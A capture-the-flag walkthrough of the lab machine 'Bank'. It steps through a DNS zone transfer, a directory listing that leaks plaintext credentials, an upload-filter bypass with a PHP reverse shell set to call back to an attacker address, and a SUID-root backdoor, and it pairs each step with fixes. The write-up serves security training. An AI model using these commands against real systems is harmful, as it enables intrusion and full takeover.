← all walkthroughs

Bank

Linux· Easy· Web
owned
2026-07-02
time to own
9m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited a misconfigured DNS server to dump the full zone for bank.htb, revealing all virtual hostnames. Web directory listing then exposed hundreds of account-record files, and one file — whose encryption routine had silently failed — contained a plaintext username and password. After logging in, I discovered (via an HTML comment left by a developer) that the file-upload filter could be bypassed using a .htb extension, which the server executes as PHP.

Uploading a PHP reverse shell and triggering it returned a foothold as the web-server account. A non-standard SUID-root binary installed by administrators as an emergency back-door then granted an instant root shell with no additional authentication.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for chris>"

Some commands also carry a value in angle brackets — <the-smallest-file-from-the-ranking> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceDNS Zone Transfer (AXFR)
DNS zone transfer dumped every hostname in the bank.htb domain
The BIND 9 name-server on port 53 accepted an AXFR (full zone transfer) request from any unauthenticated source. The response returned the complete DNS zone for bank.htb, including ns.bank.htb, a CNAME for www.bank.htb, and the SOA contact chris.bank.htb — confirming the existence of a user named chris and the exact virtual-host structure required to reach the web application.
Dig axfr bank.htb @$TARGET returned SOA record chris.bank.htb and CNAME www.bank.htb → bank.htb with no authentication required
Exact commands 2
shell

Request full zone transfer; reveals all DNS records including vhosts and the SOA contact that hints at username 'chris'.

$ dig axfr bank.htb @$TARGET +noall +answer
shell

Map the discovered virtual hostnames to the target IP before proceeding to web enumeration.

$ echo "$TARGET bank.htb www.bank.htb" | sudo tee -a /etc/hosts
FixRestrict DNS zone transfers to authorised secondary name-servers onlyMedium
WeaknessThe BIND name-server was configured to answer AXFR (zone-transfer) requests from any IP address without authentication, allowing any external party to download the complete list of hostnames for bank.htb and map the internal application structure instantly.
FixIn /etc/bind/named.conf.options (or the relevant zone stanza), set 'allow-transfer { none; };' globally and override it only for the IP addresses of legitimate secondary name-servers. After the change, verify from an external host with 'dig axfr bank.htb @<server>' — the response must be REFUSED. Also review whether internal hostnames (e.g., chris.bank.htb) need to be present in the public-facing zone at all.
2EnumerationWeb Directory Listing / Forced Browsing
Unprotected directory listing exposed hundreds of account-record files
The vhost serves a login page and nothing else worth looking at, so the next question is what else is there. Content discovery answers it: /balance-transfer/ exists, and it is a directory index — the web server lists its contents because no index file stops it. What it lists is hundreds of account records, each named after a hash. They are encrypted, which is why they were left readable, and that is the interesting part: when a batch of files is uniform, the one that is not uniform is the one to read. Here the tell is length.
A content sweep of the vhost found /balance-transfer/, which returned a directory index of several hundred .acc files; their sizes cluster except for a single much smaller entry.
Exact commands 3
shell

The login page is not the application. This is what finds the directory nobody linked to.

$ ffuf -u http://bank.htb/FUZZ -H 'Host: bank.htb' -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302
shell

Every record the index names. Several hundred of them, each a hash.

$ curl -s http://bank.htb/balance-transfer/ | grep -oE '[0-9a-f]{32}\.acc' | sort -u > accs.txt && wc -l < accs.txt
shell

A HEAD request each, ranked by length. The outlier at the top is the file whose encryption did not happen.

$ while read -r f; do printf '%s %s\n' "$(curl -sI http://bank.htb/balance-transfer/$f | awk -F': ' 'tolower($1)=="content-length"{print $2+0}')" "$f"; done < accs.txt | sort -n | head -5
FixDisable Apache directory listing on all web directoriesHigh
WeaknessApache had directory listing (Options Indexes) enabled on /balance-transfer/, making every account-record file visible to unauthenticated visitors and allowing an unauthorised user to enumerate and compare file sizes to locate the anomalous plaintext record.
FixRemove 'Options Indexes' from all Directory and VirtualHost blocks, or explicitly set 'Options -Indexes' in the site configuration. Audit all web-accessible paths and ensure no sensitive data directories are browsable. As a defence-in-depth measure, move account data storage entirely behind an authenticated application layer rather than serving raw files from the web root.
3Credential AccessSensitive Data Exposure / Silent Encryption Failure
Plaintext credentials recovered from a failed-encryption account record
The anomalously small file — <withheld> — began with the header '--ERR ENCRYPT FAILED', indicating the application's encryption routine had silently given up and written the record in plaintext. The file contained the full account entry for chris@bank.htb, including a cleartext password. No error was raised to an administrator, and the file remained publicly readable.
File <withheld> contained the literal string '--ERR ENCRYPT FAILED' followed by email: chris@bank.htb and password: <withheld>
Exact commands 1
shell

The header reads --ERR ENCRYPT FAILED, and the account's email and password are plain text beneath it.

$ curl -s http://bank.htb/balance-transfer/<the-smallest-file-from-the-ranking>
FixHandle encryption failures safely and never store credentials in plaintextCritical
WeaknessWhen the application's encryption routine failed for one account record, it silently wrote the record — including username and password — to a publicly accessible file with no error, no alerting, and no access control. This exposed valid application credentials to any unauthenticated visitor.
FixFix the encryption implementation and add error handling that aborts the write operation and raises a security alert on any encryption failure — never fall back to plaintext storage. Rotate the exposed credentials (chris@bank.htb / <withheld>) immediately. Audit all existing .acc files for additional plaintext records. Remove all account-data files from the web root and serve that data only through authenticated, server-side application logic.
4Initial AccessValid Account — Compromised Credentials
Authenticated to the bank application as customer chris
The plaintext credentials chris@bank.htb / <withheld> authenticated successfully to the login portal at /login.php, granting access to the full bank application — including the support-ticket feature that provides the file-upload vector for the next stage.
POST to /login.php with the recovered credentials returned an authenticated session cookie and the bank dashboard
Exact commands 1
shell

--data-urlencode rather than a hand-encoded body: the recovered password is full of characters a URL and a shell both want to read themselves. A 200 after the redirect is the session.

$ curl -s -c cookies.txt -b cookies.txt http://bank.htb/login.php --data-urlencode 'email=chris@bank.htb' --data-urlencode "password=$PASSWORD" -L -o /dev/null -w '%{http_code}\n'
5ExploitationUnrestricted File Upload / Extension Filter Bypass
Uploaded a PHP reverse shell by bypassing the file-extension filter
The support ticket page at support.php blocked .php file uploads, but its HTML source contained a developer debug comment stating that files with a .htb extension are executed as PHP — an undocumented bypass the developer had added for their own testing and never removed. A standard PHP reverse-shell payload was renamed shell.htb and submitted as a ticket attachment; the upload filter accepted it without restriction.
HTML comment in support.php source: '<!-- [DEBUG] I added the file extension .htb to be compatible with the .htb filter' confirmed .htb is executed as PHP; upload of shell.htb succeeded with HTTP 200
Exact commands 3
shell

Read the developer HTML comment that explicitly names the .htb bypass.

$ curl -s -b cookies.txt http://bank.htb/support.php | grep -i 'htb\|debug\|extension'
shell

Create the PHP reverse-shell payload as shell.htb, substituting your tun0 IP and chosen listener port.

$ cp /usr/share/webshells/php/php-reverse-shell.php shell.htb && sed -i "s/127.0.0.1/$ATTACKER_IP/" shell.htb && sed -i 's/1234/4444/' shell.htb
shell

Upload shell.htb as a ticket attachment; note the filename/path of the uploaded file from the response for the next step.

$ curl -s -b cookies.txt -F 'title=x' -F 'message=x' -F 'fileToUpload=@shell.htb;filename=shell.htb;type=application/octet-stream' -F 'submitadd=Submit' http://bank.htb/support.php
FixEnforce a strict whitelist for uploaded file extensions and disable PHP execution in upload directoriesCritical
WeaknessThe file-upload filter blocked .php but permitted .htb files, and the web server was configured to execute .htb as PHP. A developer debug comment in the HTML source even disclosed the bypass, directly guiding an unauthorised user to the working vector.
FixReplace the extension blocklist with a strict whitelist: accept only the exact extensions the business requires (e.g., .pdf, .png, .jpg) and reject everything else with a logged error. Remove any AddHandler, AddType, or php_value directives that map non-standard extensions to PHP (check both the Apache configuration and any .htaccess files). Store uploaded files outside the web root, or in a directory with 'php_flag engine off' and 'Options -ExecCGI' set. Purge all developer debug comments from production HTML before deployment.
6FootholdServer-Side PHP Execution via Malicious Upload
Triggered the uploaded shell and gained a remote shell as www-data
Requesting the URL of the uploaded shell.htb attachment caused Apache to hand execution to PHP, which connected back to my listener. The resulting shell ran as www-data — the Apache service account. From this foothold, I confirmed which account that was and read the user flag from /home/chris/user.txt.
Reverse-shell callback received as www-data@bank; id; whoami; hostname confirmed; user.txt read from /home/chris/
Exact commands 4
shell

On my own machine, before the request below is sent.

$ nc -lvnp 4444
shell

From my machine. The request is what executes the file; the shell arrives at the listener.

$ curl -s -b cookies.txt 'http://bank.htb/uploads/shell.htb'
shell

In the callback shell. Uid=33(www-data) — the web server's account, not a login of its own.

$ id; whoami; hostname
shell

In the callback shell -> <user.txt>

$ find / -name user.txt -type f 2>/dev/null -print -exec cat {} \;
7Privilege EscalationSUID Binary Abuse — Custom Backdoor
Executed a SUID-root backdoor binary for an instant root shell
Enumerating SUID binaries with a standard one-liner revealed /var/htb/bin/emergency — a non-standard, custom binary owned by root with the SUID bit set. Running it dropped directly into an interactive root shell with no password or further authentication required. This binary acts as a persistent root backdoor that any local user can exploit. The root flag was retrieved from /root/root.txt.
Find / -perm -4000 output included /var/htb/bin/emergency; printf 'id\n...' | /var/htb/bin/emergency returned uid=0(root) euid=0(root)
Exact commands 3
shell

In the callback shell. Enumerate all SUID binaries system-wide; /var/htb/bin/emergency is immediately recognisable as non-standard.

$ find / -perm -4000 -type f 2>/dev/null
shell

In the callback shell. Confirm it is owned by root and has the SUID bit: -rwsr-xr-x root root.

$ ls -la /var/htb/bin/emergency
shell

In the callback shell. Pipe commands into the binary; it executes them as root and returns the root flag: <root.txt>

$ printf 'id\ncat /root/root.txt\nexit\n' | /var/htb/bin/emergency
uid=0(root) euid=0(root)
FixRemove the SUID-root emergency binary and audit all SUID permissionsCritical
WeaknessA custom binary at /var/htb/bin/emergency had the SUID bit set and was owned by root, granting any local user who could execute it an immediate root shell with no authentication. This is a persistent root backdoor that any compromised local account can exploit.
FixRemove the binary immediately: 'rm /var/htb/bin/emergency'. Run 'find / -perm -4000 -type f 2>/dev/null' and compare against a documented baseline of legitimate SUID binaries (e.g., passwd, sudo, ping); strip the SUID bit ('chmod u-s <file>') from anything not on the approved list. Schedule a weekly automated audit (e.g., cron + file-integrity monitoring) to alert on any new SUID binary. If emergency administrative access is a genuine operational requirement, implement it through sudo with tightly scoped command rules and multi-factor authentication rather than SUID binaries.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
53/tcp
80/tcp